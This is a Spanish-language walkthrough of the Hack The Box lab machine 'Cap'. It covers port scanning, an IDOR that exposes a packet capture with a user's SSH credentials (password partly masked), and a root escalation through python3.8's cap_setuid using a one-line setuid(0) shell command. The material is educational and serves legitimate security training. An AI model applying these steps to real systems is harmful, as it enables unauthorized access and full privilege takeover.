Máquina CAP - HTB
Publicado: 2026-02-22
Disclaimer
Nota: Por motivos de ética y para fomentar el aprendizaje, algunos datos sensibles (contraseñas y flags) han sido censurados parcial o completamente.
Reconocimiento
Vamos a realizar la parte del reconocimiento; primero vamos a crear nuestras carpetas de trabajo.
> mkt
> ls
content exploits nmap script
Luego vamos a proseguir con el escaneo de puertos, para ver qué servicios están corriendo en la máquina CAP.
> nmap -p- —open -sS —min-rate 5000 -vvv -n -Pn 10.129.3.69 -oG AllPorts
> extractPorts AllPorts
─────┬─────────────────────────────────────────────────────────────────────────────────
───────
│ File: extractPorts.tmp
─────┼─────────────────────────────────────────────────────────────────────────────────
───────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.129.3.69
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
─────┴─────────────────────────────────────────────────────────────────────────────────
───────
Un puerto 21, 22 y 80, vamos a lanzar un escaneo más exhaustivo para obtener más información.
> nmap -p21,22,80 -sCV 10.129.3.69 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-22 18:34 -03
Nmap scan report for 10.129.3.69
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.08 seconds
Se observa un servicio FTP en el puerto 21, una web en el puerto 80 y SSH por el puerto 22.
No nos detecta que el usuario anonymous esté disponible para el servicio FTP, por tanto, vamos a ir directamente a la página web para observar qué contiene.

Se ve un panel de eventos de seguridad; estamos directamente logueados como nathan. Vemos otras secciones a la izquierda, donde se ve IP Config, Network Status, etc.
Mirando cada sección me encuentro con algo interesante.
Explotación

Se observa un identificador, por un posible IDOR, cambié el número para ver qué ocurría, y me mostró una cantidad de info, que al darle al download se guardaba como 0.pcap.
Info IDOR
Un IDOR (Insecure Direct Object Reference o Referencia Directa Insegura a Objetos) es una vulnerabilidad de seguridad web donde una aplicación expone una referencia a un objeto interno (como una base de datos o archivo) sin verificar la autorización del usuario. Esto permite a un atacante acceder, modificar o eliminar datos ajenos simplemente cambiando un ID en la URL o solicitud.
Por tanto, decidí analizarlo con Wireshark, para ver qué se podía obtener del 0.pcap.


Se observan unas credenciales, un usuario nathan y su contraseña B*******3!. Por tanto, voy a conectarme por SSH con esta contraseña para ver si funciona.

Por tanto, nos conectamos y estamos como user; ahora toca la escalada de privilegios.
Escalada de Privilegios
Realizando un poco de enumeración con linpeas me encuentro lo siguiente:

Vemos que el python3.8 tiene capabilities, y una muy crítica, el cap_setuid.
Info
CAP_SETUID es una capacidad de Linux que permite a un proceso manipular de forma arbitraria sus IDs de usuario (UID real, efectivo y guardado). Si el binario de Python tiene esta capacidad configurada (por ejemplo, mediante cap_setuid+ep), cualquier usuario que lo ejecute puede elevar sus privilegios a root.
Por tanto vamos a abusar de ello, para convertirnos en root.
nathan@cap:/$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
Y con eso logramos escalar privilegios y lograr ser root en la máquina CAP de HTB.
Aprendizaje
-
En esta máquina vimos cómo abusar de IDORS y ver información que no debería ser visible para cualquier usuario.
-
También cómo analizar archivos .pcap con Wireshark.
-
Luego vimos cómo abusar de Python cuando tiene la capability SUID.